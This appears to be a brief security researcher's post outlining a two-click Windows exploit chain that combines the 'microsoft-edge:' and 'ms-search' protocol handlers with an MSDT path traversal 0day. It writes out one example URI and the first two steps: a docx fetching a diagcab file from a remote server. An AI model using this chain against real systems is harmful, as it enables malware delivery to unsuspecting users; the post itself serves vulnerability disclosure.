Surprisingly Adobe Acrobat's sandbox stops uri protocol handlers. Nice win for Adobe crew. No bypasses tested yet, though.

microsoft-edge + ms-search + MSDT path traversal 0day = fun of 2-clicks (one click additional due to Protected View if docx is coming from remote btw).
This is the full chain:
1) Open a docx which connects to a remote server to download a diagcab file by MS Edge. This uses the protocol handler "microsoft-edge". So easy as this: "microsoft-edge:http://127.0.0.1:8081/foo.html"
2) Use "ms-search" trick to open folder Downloads.
